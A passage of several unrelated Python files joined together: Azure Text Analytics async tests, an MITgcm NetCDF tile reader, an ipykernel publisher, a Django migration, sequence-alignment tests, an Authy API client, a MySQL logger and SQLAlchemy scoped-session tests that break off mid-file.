response[0].attribute_not_on_result_or_error except AttributeError as default_behavior: assert default_behavior.args[0] == '\'DocumentError\' object has no attribute \'attribute_not_on_result_or_error\'' @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_bad_model_version_error(self, client): docs = [{"id": "1", "language": "english", "text": "I did not like the hotel we stayed at."}] try: result = await client.recognize_linked_entities(docs, model_version="bad") except HttpResponseError as err: assert err.error.code == "ModelVersionIncorrect" assert err.error.message is not None @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_document_errors(self, client): text = "" for _ in range(5121): text += "x" docs = [{"id": "1", "text": ""}, {"id": "2", "language": "english", "text": "I did not like the hotel we stayed at."}, {"id": "3", "text": text}] doc_errors = await client.recognize_linked_entities(docs) assert doc_errors[0].error.code == "InvalidDocument" assert doc_errors[0].error.message is not None assert doc_errors[1].error.code == "UnsupportedLanguageCode" assert doc_errors[1].error.message is not None assert doc_errors[2].error.code == "InvalidDocument" assert doc_errors[2].error.message is not None @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_document_warnings(self, client): # No warnings actually returned for recognize_linked_entities. Will update when they add docs = [ {"id": "1", "text": "This won't actually create a warning :'("}, ] result = await client.recognize_linked_entities(docs) for doc in result: doc_warnings = doc.warnings assert len(doc_warnings) == 0 @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_not_passing_list_for_docs(self, client): docs = {"id": "1", "text": "hello world"} with pytest.raises(TypeError) as excinfo: await client.recognize_linked_entities(docs) assert "Input documents cannot be a dict" in str(excinfo.value) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_missing_input_records_error(self, client): docs = [] with pytest.raises(ValueError) as excinfo: await client.recognize_linked_entities(docs) assert "Input documents can not be empty or None" in str(excinfo.value) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_passing_none_docs(self, client): with pytest.raises(ValueError) as excinfo: await client.recognize_linked_entities(None) assert "Input documents can not be empty or None" in str(excinfo.value) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_duplicate_ids_error(self, client): # Duplicate Ids docs = [{"id": "1", "text": "hello world"}, {"id": "1", "text": "I did not like the hotel we stayed at."}] try: result = await client.recognize_linked_entities(docs) except HttpResponseError as err: assert err.error.code == "InvalidDocument" assert err.error.message is not None @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_batch_size_over_limit_error(self, client): # Batch size over limit docs = ["hello world"] * 1001 try: response = await client.recognize_linked_entities(docs) except HttpResponseError as err: assert err.error.code == "InvalidDocumentBatch" assert err.error.message is not None @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_language_kwarg_spanish(self, client): def callback(response): language_str = "\"language\": \"es\"" assert response.http_request.body.count(language_str) == 1 assert response.model_version is not None assert response.statistics is not None res = await client.recognize_linked_entities( documents=["Bill Gates is the CEO of Microsoft."], model_version="latest", show_stats=True, language="es", raw_response_hook=callback ) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_pass_cls(self, client): def callback(pipeline_response, deserialized, _): return "cls result" res = await client.recognize_linked_entities( documents=["Test passing cls to endpoint"], cls=callback ) assert res == "cls result" @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_offset(self, client): result = await client.recognize_linked_entities(["Microsoft was founded by Bill Gates and Paul Allen"]) entities = result[0].entities # the entities are being returned in a non-sequential order by the service microsoft_entity = [entity for entity in entities if entity.name == "Microsoft"][0] bill_gates_entity = [entity for entity in entities if entity.name == "Bill Gates"][0] paul_allen_entity = [entity for entity in entities if entity.name == "Paul Allen"][0] assert microsoft_entity.matches[0].offset == 0 assert bill_gates_entity.matches[0].offset == 25 assert paul_allen_entity.matches[0].offset == 40 @TextAnalyticsPreparer() @TextAnalyticsClientPreparer(client_kwargs={"api_version": TextAnalyticsApiVersion.V3_0}) @recorded_by_proxy_async async def test_no_offset_v3_linked_entity_match(self, client): result = await client.recognize_linked_entities(["Microsoft was founded by Bill Gates and Paul Allen"]) entities = result[0].entities assert entities[0].matches[0].offset is None assert entities[1].matches[0].offset is None assert entities[2].matches[0].offset is None @TextAnalyticsPreparer() @TextAnalyticsClientPreparer(client_kwargs={"api_version": TextAnalyticsApiVersion.V3_0}) @recorded_by_proxy_async async def test_string_index_type_not_fail_v3(self, client): # make sure that the addition of the string_index_type kwarg for v3.1-preview doesn't # cause v3.0 calls to fail await client.recognize_linked_entities(["please don't fail"]) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_bing_id(self, client): result = await client.recognize_linked_entities(["Microsoft was founded by Bill Gates and Paul Allen"]) for doc in result: for entity in doc.entities: assert entity.bing_entity_search_api_id # this checks if it's None and if it's empty @TextAnalyticsPreparer() @TextAnalyticsClientPreparer(client_kwargs={"api_version": TextAnalyticsApiVersion.V3_0}) @recorded_by_proxy_async async def test_string_index_type_explicit_fails_v3(self, client): with pytest.raises(ValueError) as excinfo: await client.recognize_linked_entities(["this should fail"], string_index_type="UnicodeCodePoint") assert "'string_index_type' is only available for API version V3_1 and up" in str(excinfo.value) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_default_string_index_type_is_UnicodeCodePoint(self, client): def callback(response): assert response.http_request.query["stringIndexType"] == "UnicodeCodePoint" res = await client.recognize_linked_entities( documents=["Hello world"], raw_response_hook=callback ) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_explicit_set_string_index_type(self, client): def callback(response): assert response.http_request.query["stringIndexType"] == "TextElements_v8" res = await client.recognize_linked_entities( documents=["Hello world"], string_index_type="TextElements_v8", raw_response_hook=callback ) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_disable_service_logs(self, client): def callback(resp): assert resp.http_request.query['loggingOptOut'] await client.recognize_linked_entities( documents=["Test for logging disable"], disable_service_logs=True, raw_response_hook=callback, )
import sys import glob import numpy as np from .netcdf import netcdf_file _exclude_global = ['close', 'createDimension', 'createVariable', 'dimensions', 'filename', 'flush', 'fp', 'mode', 'sync', 'use_mmap', 'variables', 'version_byte', ] _exclude_var = ['assignValue', 'data', 'dimensions', 'getValue', 'isrec', 'itemsize', 'shape', 'typecode', ] def getattributes(nc, exclude=[]): # in order not to rely on implementation, provide fallback try: a = dict(nc._attributes) except AttributeError: a = dict((k, getattr(nc, k)) for k in dir(nc) if k[0] != '_' and k not in exclude) return a class MNC: """ A file object for MNC (tiled NetCDF) data. Should behave mostly like scipy.io.netcdf.netcdf_file in 'r' mode. Parameters ---------- fpatt :: glob pattern for tile files layout :: which global layout to use: 'model' : use layout implied by Nx, Ny 'exch2' : use exch2 global layout 'faces' : variables are lists of exch2 faces default is to use exch2 layout if present, model otherwise Example: nc = mnc_files('mnc_*/state.0000000000.t*.nc') temp = nc.variables['Temp'][:] salt = nv.variables['S'][:] nc.close() temp and salt are now assembled (global) arrays of shape (Nt, Nr, Ny, Nx) where Nt is the number iterations found in the file (in this case probably 1). """ # avoid problems with __del__ nc = [] def __init__(self, fpatt, layout=None, multitime=False): fnames = glob.glob(fpatt) fnames.sort() # open files self.nc = [ netcdf_file(f,'r') for f in fnames ] # global attributes # get from first file, but remove/reset tile-specific ones self._attributes = getattributes(self.nc[0], _exclude_global) self._attributes['tile_number'] = 1 self._attributes['bi'] = 1 self._attributes['bj'] = 1 haveexch2 = False for k in list(self._attributes): if k.startswith('exch2_'): del self._attributes[k] haveexch2 = True sNx = self.sNx sNy = self.sNy ntx = self.nSx*self.nPx nty = self.nSy*self.nPy if layout is None: if haveexch2: layout = 'exch2' else: layout = 'model' self.layout = layout # precompute indices self._i0 = [] self._ie = [] self._j0 = [] self._je = [] self._fn = [] self._nf = 0 if layout == 'model': self._nx = self.Nx self._ny = self.Ny for nc in self.nc: tn = nc.tile_number bj,bi = divmod(tn-1, ntx) ie = sNx*(bi+1-ntx) je = sNy*(bj+1-nty) self._i0.append(sNx*bi) self._j0.append(sNy*bj) self._ie.append(ie or None) self._je.append(je or None) elif layout == 'exch2': self._nx = 0 self._ny = 0 for nc in self.nc: i0 = nc.exch2_txGlobalo - 1 j0 = nc.exch2_tyGlobalo - 1 ie = i0 + sNx je = j0 + sNy self._i0.append(i0) self._j0.append(j0) self._ie.append(ie) self._je.append(je) self._nx = max(self._nx, ie) self._ny = max(self._ny, je) # make ie, je relative to end (for non-tracer points) for i in range(len(self._i0)): ie = self._ie[i] - self._nx je = self._je[i] - self._ny self._ie[i] = ie or None self._je[i] = je or None elif layout == 'faces': self._nx = {} self._ny = {} for nc in self.nc: fn = nc.exch2_myFace i0 = nc.exch2_tBasex j0 = nc.exch2_tBasey ie = i0 + sNx je = j0 + sNy self._fn.append(fn) self._i0.append(i0) self._j0.append(j0) self._ie.append(ie) self._je.append(je) self._nx[fn] = max(self._nx.get(fn, 0), ie) self._ny[fn] = max(self._ny.get(fn, 0), je) # make ie, je relative to end (for non-tracer points) for i in range(len(self._fn)): fn = self._fn[i] ie = self._ie[i] - self._nx[fn] je = self._je[i] - self._ny[fn] self._ie[i] = ie or None self._je[i] = je or None self._fns = sorted(self._nx.keys()) self._nf = len(self._fns) for i in range(len(self._fn)): self._fn[i] = self._fns.index(self._fn[i]) self._nx = np.array([self._nx[fn] for fn in self._fns]) self._ny = np.array([self._ny[fn] for fn in self._fns]) else: raise ValueError('Unknown layout: {}'.format(layout)) # dimensions self.dimensions = {} for k,n in self.nc[0].dimensions.items(): # compute size of dimension in global array for X* and Y* if k[0] == 'X': n += self._nx - sNx if k[0] == 'Y': n += self._ny - sNy self.dimensions[k] = n # variables var0 = self.nc[0].variables # find size of record dimension first if 'T' in self.dimensions and self.dimensions['T'] is None: self.times = list(var0.get('T', [])[:]) self.iters = list(var0.get('iter', self.times)[:]) self.nrec = len(self.iters) self.variables = dict((k, MNCVariable(self, k)) for k in var0) def __getattr__(self, k): try: return self._attributes[k] except KeyError: raise AttributeError("'MNC' object has no attribute '" + k + "'") def __dir__(self): return self.__dict__.keys() + self._attributes.keys() def close(self): """Close tile files""" for nc in self.nc: nc.close() __del__ = close @property def faces(self): if self.layout == 'faces': return self._fns else: return None def calcstrides(slices, dims): try: slices[0] except TypeError: slices = (slices,) if Ellipsis in slices: cut = slices.index(Ellipsis) slices = slices[:cut] + (len(dims)-len(slices)+1)*(slice(0,None,None),) + slices[cut+1:] else: slices = slices + (len(dims)-len(slices))*(slice(0,None,None),) strides = [] shape = [] fullshape = [] for s,dim in zip(slices,dims): try: stride = s.indices(dim) except AttributeError: stride = (s, s+1, 1) n = 1 else: # real slice, will make a dimension start,stop,step = stride n = (stop-start+step-1)//step shape.append(n) fullshape.append(n) strides.append(stride) return tuple(strides), tuple(shape), tuple(fullshape) class MNCVariable(object): def __init__(self, mnc, name): self._name = name self.nc = mnc.nc self.layout = mnc.layout self._i0 = mnc._i0 self._ie = mnc._ie self._j0 = mnc._j0 self._je = mnc._je self._nf = mnc._nf self._fn = mnc._fn v0 = mnc.nc[0].variables[name] self._attributes = getattributes(v0, _exclude_var) self.itemsize = v0.data.itemsize self.typecode = v0.typecode self.dtype = np.dtype(self.typecode()) self.dimensions = v0.dimensions self.shape = tuple( mnc.dimensions[d] for d in self.dimensions ) self.isrec = self.shape[0] is None if self.isrec: self.shape = (mnc.nrec,) + self.shape[1:] # which dimensions are tiled self._Xdim = None self._Ydim = None for i,d in enumerate(self.dimensions): if d[0] == 'X': self._Xdim = i if d[0] == 'Y': self._Ydim = i def __getattr__(self, k): try: return self._attributes[k] except KeyError: raise AttributeError("'MNCVariable' object has no attribute '" + k + "'") def __dir__(self): return self.__dict__.keys() + self._attributes.keys() def __getitem__(self, ind): if self.layout == 'faces': return self._getfaces(ind) if ind in [Ellipsis, slice(None)]: # whole array res = np.zeros(self.shape, self.typecode()) s = [slice(None) for d in self.shape] for i,nc in enumerate(self.nc): if self._Xdim is not None: s[self._Xdim] = slice(self._i0[i], self._ie[i]) if self._Ydim is not None: s[self._Ydim] = slice(self._j0[i], self._je[i]) res[s] = nc.variables[self._name][:] return res else: # read only required data strides,resshape,fullshape = calcstrides(ind, self.shape) res = np.zeros(fullshape, self.dtype) s = [slice(*stride) for stride in strides] sres = [slice(None) for d in fullshape] if self._Xdim is not None: I0,Ie,Is = strides[self._Xdim] if self._Ydim is not None: J0,Je,Js = strides[self._Ydim] for i,nc in enumerate(self.nc): if self._Xdim is not None: i0 = self._i0[i] ie = self.shape[self._Xdim] + (self._ie[i] or 0) a,b = divmod(I0 - i0, Is) e = np.clip(ie, I0, Ie) sres[self._Xdim] = slice(max(-a, 0), (e - I0)//Is) s[self._Xdim] = slice(max(I0 - i0, b), max(Ie - i0, 0), Is) if self._Ydim is not None: j0 = self._j0[i] je = self.shape[self._Ydim] + (self._je[i] or 0) a,b = divmod(J0 - j0, Js) e = np.clip(je, J0, Je) sres[self._Ydim] = slice(max(-a, 0), (e - J0)//Js) s[self._Ydim] = slice(max(J0 - j0, b), max(Je - j0, 0), Js) res[sres] = nc.variables[self._name][s] return res.reshape(resshape) def _getfaces(self, ind): res = [] for f in range(self._nf): shape = tuple(np.isscalar(d) and d or d[f] for d in self.shape) a = np.zeros(shape, self.typecode()) res.append(a) s = [slice(None) for d in self.shape] for i,nc in enumerate(self.nc): fn = self._fn[i] if self._Xdim is not None: s[self._Xdim] = slice(self._i0[i], self._ie[i]) if self._Ydim is not None: s[self._Ydim] = slice(self._j0[i], self._je[i]) res[fn][s] = nc.variables[self._name][:] for f in range(self._nf): res[f] = res[f][ind] return res def face(self, fn): shape = tuple(np.isscalar(d) and d or d[fn] for d in self.shape) res = np.zeros(shape, self.typecode()) s = [slice(None) for d in self.shape] for i,nc in enumerate(self.nc): if self._fn[i] == fn: if self._Xdim is not None: s[self._Xdim] = slice(self._i0[i], self._ie[i]) if self._Ydim is not None: s[self._Ydim] = slice(self._j0[i], self._je[i]) res[s] = nc.variables[self._name][:] return res def mnc_files(fpatt, layout=None): return MNC(fpatt, layout) mnc_files.__doc__ = MNC.__doc__ def rdmnc(fpatt, varnames=None, iters=None, slices=Ellipsis, layout=None): ''' Read one or more variables from an mnc file set. Parameters ---------- fpatt :: glob pattern for netcdf files comprising the set varnames :: list of variables to read (default all) iters :: list of iterations (not time) to read slices :: tuple of slices to read from each variable (typically given as numpy.s_[...]) Returns a dictionary of arrays. Example: S = rdmnc("mnc_*/state.0000000000.*', ['U', 'V'], slices=numpy.s_[..., 10:-10, 10:-10]) u = S['U'] v = S['V'] Can currently read only one file set (i.e., 1 file per tile), not several files split in time. Consider using mnc_files for more control (and similar convenience). The same restriction about multiple files applies, however. ''' mnc = MNC(fpatt, layout) if varnames is None: varnames = mnc.variables.keys() elif isinstance(varnames, str): varnames = [varnames] if iters is not None: try: iters[0] except TypeError: iters = [iters] iits = [ mnc.iters.index(it) for it in iters ] if not isinstance(slices, tuple): slices = (slices,) res = {} for varname in varnames: var = mnc.variables[varname] if iters is not None and var.dimensions[0] == 'T': res[varname] = np.array([var[(iit,)+slices] for iit in iits]) else: res[varname] = var[slices] mnc.close() return res
"""Publishing native (typically pickled) objects. """ from traitlets.config import Configurable from ipykernel.inprocess.socket import SocketABC from traitlets import Instance, Dict, CBytes from ipykernel.jsonutil import json_clean from ipykernel.serialize import serialize_object from jupyter_client.session import Session, extract_header class ZMQDataPublisher(Configurable): topic = topic = CBytes(b'datapub') session = Instance(Session, allow_none=True) pub_socket = Instance(SocketABC, allow_none=True) parent_header = Dict({}) def set_parent(self, parent): """Set the parent for outbound messages.""" self.parent_header = extract_header(parent) def publish_data(self, data): """publish a data_message on the IOPub channel Parameters ---------- data : dict The data to be published. Think of it as a namespace. """ session = self.session buffers = serialize_object(data, buffer_threshold=session.buffer_threshold, item_threshold=session.item_threshold, ) content = json_clean(dict(keys=list(data.keys()))) session.send(self.pub_socket, 'data_message', content=content, parent=self.parent_header, buffers=buffers, ident=self.topic, ) def publish_data(data): """publish a data_message on the IOPub channel Parameters ---------- data : dict The data to be published. Think of it as a namespace. """ from ipykernel.zmqshell import ZMQInteractiveShell ZMQInteractiveShell.instance().data_pub.publish_data(data)
from __future__ import unicode_literals from django.db import migrations, models from blog.models import Post def slugify_all_posts(*args): for post in Post.objects.all(): post.save() class Migration(migrations.Migration): dependencies = [ ('blog', '0001_initial'), ] operations = [ migrations.AddField( model_name='post', name='slug', field=models.SlugField(default='', max_length=100), ), migrations.RunPython(slugify_all_posts) ]
import six from unittest import TestCase from dark.reads import Read, Reads from dark.score import HigherIsBetterScore from dark.hsp import HSP, LSP from dark.alignments import ( Alignment, bestAlignment, ReadAlignments, ReadsAlignmentsParams, ReadsAlignments) class TestAlignment(TestCase): """ Tests for the dark.alignment.Alignment class """ def testExpectedAttrs(self): """ An alignment must have the expected attributes. """ alignment = Alignment(45, 'title') self.assertEqual('title', alignment.subjectTitle) self.assertEqual(45, alignment.subjectLength) def testNoHspsWhenCreated(self): """ An alignment must have no HSPs when it is created. """ alignment = Alignment(45, 'title') self.assertEqual(0, len(alignment.hsps)) def testAddHsp(self): """ It must be possible to add an HSP to an alignment. """ alignment = Alignment(45, 'title') alignment.addHsp(HSP(3)) self.assertEqual(HSP(3), alignment.hsps[0]) class TestReadAlignments(TestCase): """ Tests for the dark.alignment.ReadAlignments class """ def testRead(self): """ An read alignments must store its read. """ read = Read('id', 'ACGT') readAlignments = ReadAlignments(read) self.assertEqual(read, readAlignments.read) def testNoAlignments(self): """ An read alignments must be able to have no alignments. """ read = Read('id', 'ACGT') readAlignments = ReadAlignments(read) self.assertEqual(0, len(readAlignments)) def testAlignments(self): """ An read alignments must store its alignments. """ read = Read('id', 'ACGT') alignment1 = Alignment(45, 'title1') alignment2 = Alignment(55, 'title2') readAlignments = ReadAlignments(read, [alignment1, alignment2]) self.assertEqual([alignment1, alignment2], readAlignments) class TestBestAlignmentHSP(TestCase): """ Test the L{dark.hits.bestAlignment} function when HSPs are used. """ def testOneAlignment(self): """ When one alignment is present that alignment must be returned by bestAlignment. """ alignment = Alignment(44, 'Seq 1') alignment.addHsp(HSP(10)) alignment.addHsp(HSP(9)) alignments = [alignment] hit = ReadAlignments(Read('id1', 'aaa'), alignments) best = bestAlignment(hit) self.assertEqual('Seq 1', best.subjectTitle) self.assertEqual(44, best.subjectLength) def testThreeAlignments(self): """ When three alignments are present, the one with the highest first HSP must be returned by bestAlignment. """ alignment1 = Alignment(33, 'Seq 1') alignment1.addHsp(HSP(10)) alignment1.addHsp(HSP(9)) alignment2 = Alignment(44, 'Seq 2') alignment2.addHsp(HSP(30)) alignment2.addHsp(HSP(29)) alignment3 = Alignment(55, 'Seq 3') alignment3.addHsp(HSP(20)) alignment3.addHsp(HSP(19)) alignments = [alignment1, alignment2, alignment3] hit = ReadAlignments(Read('id1', 'aaa'), alignments) best = bestAlignment(hit) self.assertEqual('Seq 2', best.subjectTitle) self.assertEqual(44, best.subjectLength) class TestBestAlignmentLSP(TestCase): """ Test the L{dark.hits.bestAlignment} function when LSPs are used. """ def testOneAlignment(self): """ When one alignment is present that alignment must be returned by bestAlignment. """ alignment = Alignment(44, 'Seq 1') alignment.addHsp(LSP(10)) alignment.addHsp(LSP(9)) alignments = [alignment] readAlignments = ReadAlignments(Read('id0', 'aaa'), alignments) best = bestAlignment(readAlignments) self.assertEqual('Seq 1', best.subjectTitle) self.assertEqual(44, best.subjectLength) def testThreeAlignments(self): """ When three alignments are present, the one with the lowest first HSP must be returned by bestAlignment. """ alignment1 = Alignment(33, 'Seq 1') alignment1.addHsp(LSP(10)) alignment1.addHsp(LSP(9)) alignment2 = Alignment(44, 'Seq 2') alignment2.addHsp(LSP(3)) alignment2.addHsp(LSP(2)) alignment3 = Alignment(55, 'Seq 3') alignment3.addHsp(LSP(20)) alignment3.addHsp(LSP(19)) alignments = [alignment1, alignment2, alignment3] readAlignments = ReadAlignments(Read('id0', 'aaa'), alignments) best = bestAlignment(readAlignments) self.assertEqual('Seq 2', best.subjectTitle) self.assertEqual(44, best.subjectLength) class TestReadsAlignmentsParams(TestCase): """ Test the L{dark.alignments.ReadsAlignmentsParams} class. """ def testExpectedAttrs(self): """ A ReadsAlignmentsParams instance must have the expected attributes. """ applicationParams = {} params = ReadsAlignmentsParams('application name', applicationParams, False, 'Bit score') self.assertEqual('application name', params.application) self.assertIs(applicationParams, params.applicationParams) self.assertFalse(params.subjectIsNucleotides) self.assertEqual('Bit score', params.scoreTitle) class TestReadsAlignments(TestCase): """ Test the L{dark.alignments.ReadsAlignments} class. """ # NOTE: The ReadsAlignments class is a base class for concrete # implementations, such as BlastReadsAlignments. So it can only be # tested minimally by itself. For full tests see the # TestBlastReadsAlignments and TestBlastReadsAlignmentsFiltering # classes in test/blast/blast_alignments.py def testExpectedAttrs(self): """ A ReadsAlignments instance must have the expected attributes. """ reads = Reads() params = { 'application': 'app name' } readsAlignments = ReadsAlignments(reads, params) self.assertIs(readsAlignments.reads, reads) self.assertEqual('app name', readsAlignments.params['application']) self.assertIs(params, readsAlignments.params) self.assertIs(HigherIsBetterScore, readsAlignments.scoreClass) def testNotIterable(self): """ Iterating an empty ReadsAlignments must result in the empty list. """ reads = Reads() readsAlignments = ReadsAlignments(reads, 'applicationName', None) self.assertEqual([], list(readsAlignments)) def testGetSubjectSequence(self): """ A ReadsAlignments instance will not implement getSubjectSequence. Subclasses are expected to implement it. """ reads = Reads() readsAlignments = ReadsAlignments(reads, 'applicationName', None) error = 'getSubjectSequence must be implemented by a subclass' six.assertRaisesRegex(self, NotImplementedError, error, readsAlignments.getSubjectSequence, 'title')
import requests import platform from authy import __version__, AuthyFormatException from urllib.parse import quote try: import json except ImportError: try: import simplejson as json except ImportError: from django.utils import simplejson as json class Resource(object): def __init__(self, api_uri, api_key): self.api_uri = api_uri self.api_key = api_key self.def_headers = self.__default_headers() def post(self, path, data=None): return self.request("POST", path, data, {'Content-Type': 'application/json'}) def get(self, path, data=None): return self.request("GET", path, data) def put(self, path, data=None): return self.request("PUT", path, data, {'Content-Type': 'application/json'}) def delete(self, path, data=None): return self.request("DELETE", path, data) def request(self, method, path, data=None, req_headers=None): if data is None: data = {} if req_headers is None: req_headers = {} url = self.api_uri + path params = {"api_key": self.api_key} headers = self.def_headers headers.update(req_headers) if method == "GET": params.update(data) return requests.request(method, url, headers=headers, params=params) else: return requests.request(method, url, headers=headers, params=params, data=json.dumps(data)) def __default_headers(self): return { 'User-Agent': "AuthyPython/{0} ({1}; Python {2})".format( __version__, platform.platform(True), platform.python_version() )} class Instance(object): def __init__(self, resource, response): self.resource = resource self.response = response try: self.content = self.response.json() except ValueError: self.content = self.response.text def ok(self): return self.response.status_code == 200 def errors(self): if self.ok(): return {} errors = self.content if(not isinstance(errors, dict)): errors = {"error": errors} elif('errors' in errors): errors = errors['errors'] return errors def __getitem__(self, key): return self.content[key] class Sms(Instance): def ignored(self): try: self.content['ignored'] return True except KeyError: return False class User(Instance): def __init__(self, resource, response): super(User, self).__init__(resource, response) if(isinstance(self.content, dict) and 'user' in self.content): self.id = self.content['user']['id'] else: self.id = None class Users(Resource): def create(self, email, phone, country_code=1): data = { "user": { "email": email, "cellphone": phone, "country_code": country_code } } resp = self.post("/protected/json/users/new", data) return User(self, resp) def request_sms(self, user_id, options={}): resp = self.get("/protected/json/sms/"+quote(str(user_id)), options) return Sms(self, resp) def status(self, user_id): resp = self.get("/protected/json/users/{0}/status".format(user_id)) return User(self, resp) def delete(self, user_id): resp = self.post("/protected/json/users/{0}/delete".format(user_id)) return User(self, resp) class Token(Instance): def ok(self): if super(Token, self).ok(): return '"token":"is valid"' in str(self.response.content) return False class Tokens(Resource): def verify(self, device_id, token, options={}): self.__validate(token, device_id) if 'force' not in options: options['force'] = "true" url = "/protected/json/verify/" url += quote(str(token))+"/"+quote(str(device_id)) resp = self.get(url, options) return Token(self, resp) def __validate(self, token, device_id): self.__validate_digit(token, "Invalid Token. Only digits accepted.") self.__validate_digit(device_id, "Invalid Authy id. Only digits accepted.") length = len(str(token)) if length < 6 or length > 10: raise AuthyFormatException("Invalid Token. Unexpected length.") def __validate_digit(self, var, message): # PEP 0237: Essentially, long renamed to int. if not isinstance(var, int) and not var.isdigit(): raise AuthyFormatException(message) class App(Instance): pass class Apps(Resource): def fetch(self): resp = self.get("/protected/json/app/details") return App(self, resp) class Stats(Instance): pass class StatsResource(Resource): def fetch(self): resp = self.get("/protected/json/app/stats") return Stats(self, resp) class Phone(Instance): pass class Phones(Resource): def verification_start(self, phone_number, country_code, via = 'sms'): options = { 'phone_number': phone_number, 'country_code': country_code, 'via': via } resp = self.post("/protected/json/phones/verification/start", options) return Phone(self, resp) def verification_check(self, phone_number, country_code, verification_code): options = { 'phone_number': phone_number, 'country_code': country_code, 'verification_code': verification_code } resp = self.get("/protected/json/phones/verification/check", options) return Phone(self, resp) def info(self, phone_number, country_code): options = { 'phone_number': phone_number, 'country_code': country_code } resp = self.get("/protected/json/phones/info", options) return Phone(self, resp)
import datetime import MySQLdb from os import sys class DBLogger: def __init__(self, loc='default-location'): self.usr = '<user>' self.pwd = '<password>' self.dbase = '<database>' self.location = loc self.conn = MySQLdb.connect(host="localhost", user=self.usr, passwd=self.pwd, db=self.dbase) self.cursor = self.conn.cursor() def cleanUp(self): self.conn.close() self.cursor.close()
from unittest.mock import Mock import sqlalchemy as sa from sqlalchemy import ForeignKey from sqlalchemy import Integer from sqlalchemy import String from sqlalchemy import testing from sqlalchemy.orm import query from sqlalchemy.orm import relationship from sqlalchemy.orm import scoped_session from sqlalchemy.orm import Session from sqlalchemy.orm import sessionmaker from sqlalchemy.testing import assert_raises_message from sqlalchemy.testing import assert_warns_message from sqlalchemy.testing import eq_ from sqlalchemy.testing import fixtures from sqlalchemy.testing import is_ from sqlalchemy.testing import mock from sqlalchemy.testing.schema import Column from sqlalchemy.testing.schema import Table class ScopedSessionTest(fixtures.MappedTest): @classmethod def define_tables(cls, metadata): Table( "table1", metadata, Column( "id", Integer, primary_key=True, test_needs_autoincrement=True ), Column("data", String(30)), ) Table( "table2", metadata, Column( "id", Integer, primary_key=True, test_needs_autoincrement=True ), Column("someid", None, ForeignKey("table1.id")), ) def test_basic(self): table2, table1 = self.tables.table2, self.tables.table1 Session = scoped_session(sa.orm.sessionmaker(testing.db)) class CustomQuery(query.Query): pass class SomeObject(fixtures.ComparableEntity): query = Session.query_property() class SomeOtherObject(fixtures.ComparableEntity): query = Session.query_property() custom_query = Session.query_property(query_cls=CustomQuery) self.mapper_registry.map_imperatively( SomeObject, table1, properties={"options": relationship(SomeOtherObject)}, ) self.mapper_registry.map_imperatively(SomeOtherObject, table2) s = SomeObject(id=1, data="hello") sso = SomeOtherObject() s.options.append(sso) Session.add(s) Session.commit() Session.refresh(sso) Session.remove() eq_( SomeObject( id=1, data="hello", options=[SomeOtherObject(someid=1)] ), Session.query(SomeObject).one(), ) eq_( SomeObject( id=1, data="hello", options=[SomeOtherObject(someid=1)] ), SomeObject.query.one(), ) eq_( SomeOtherObject(someid=1), SomeOtherObject.query.filter( SomeOtherObject.someid == sso.someid ).one(), ) assert isinstance(SomeOtherObject.query, query.Query) assert not isinstance(SomeOtherObject.query, CustomQuery) assert isinstance(SomeOtherObject.custom_query, query.Query) def test_config_errors(self): Session = scoped_session(sa.orm.sessionmaker()) s = Session() # noqa assert_raises_message( sa.exc.InvalidRequestError, "Scoped session is already present", Session, bind=testing.db, ) assert_warns_message( sa.exc.SAWarning, "At least one scoped session is already present. ", Session.configure, bind=testing.db, ) def test_call_with_kwargs(self): mock_scope_func = Mock() SessionMaker = sa.orm.sessionmaker() Session = scoped_session(sa.orm.sessionmaker(), mock_scope_func) s0 = SessionMaker() assert s0.autoflush == True mock_scope_func.return_value = 0 s1 = Session() assert s1.autoflush == True assert_raises_message( sa.exc.InvalidRequestError, "Scoped session is already present", Session, autoflush=False, ) mock_scope_func.return_value = 1 s2 = Session(autoflush=False) assert s2.autoflush == False def test_methods_etc(self): mock_session = Mock() mock_session.bind = "the bind" sess = scoped_session(lambda: mock_session) sess.add("add") sess.delete("delete") sess.get("Cls", 5) eq_(sess.bind, "the bind") eq_( mock_session.mock_calls, [ mock.call.add("add", _warn=True), mock.call.delete("delete"), mock.call.get( "Cls", 5, options=None, populate_existing=False, with_for_update=None, identity_token=None, execution_options=None, ), ], ) with mock.patch( "sqlalchemy.orm.session.object_session" ) as mock_object_session: sess.object_session("foo") eq_(mock_object_session.mock_calls, [mock.call("foo")]) @testing.combinations( "style1", "style2", "style3", "style4", ) def test_get_bind_custom_session_subclass(self, style): """test #6285""" class MySession(Session): if style == "style1": def get_bind(self, mapper=None, **kwargs): return super().get_bind(mapper=mapper, **kwargs) elif style == "style2": # this was the workaround for #6285, ensure it continues # working as well def get_bind(self, mapper=None, *args, **kwargs): return super().get_bind(mapper, *args, **kwargs) elif style == "style3": # py2k style def get_bind(self, mapper=None, *args, **kwargs): return super(MySession, self).get_bind( mapper, *args, **kwargs ) elif style == "style4": # py2k style def get_bind(self, mapper=None, **kwargs): return super(MySession, self).get_bind( mapper=mapper, **kwargs ) s1 = MySession(testing.db) is_(s1.get_bind(), testing.db) ss = scoped_session(sessionmaker(testing.db, class_=MySession)) is_(ss.get_bind(), testing.db) def test_attributes(self): expected = [ name for cls in Session.mro() for name in vars(cls) if not name.startswith("_") ] ignore_list = { "connection_callable", "transaction", "in_transaction", "in_nested_transaction", "get_transaction", "get_nested_transaction", "prepare", "invalidate", "bind_mapper", "bind_table", "enable_relationship_loading", 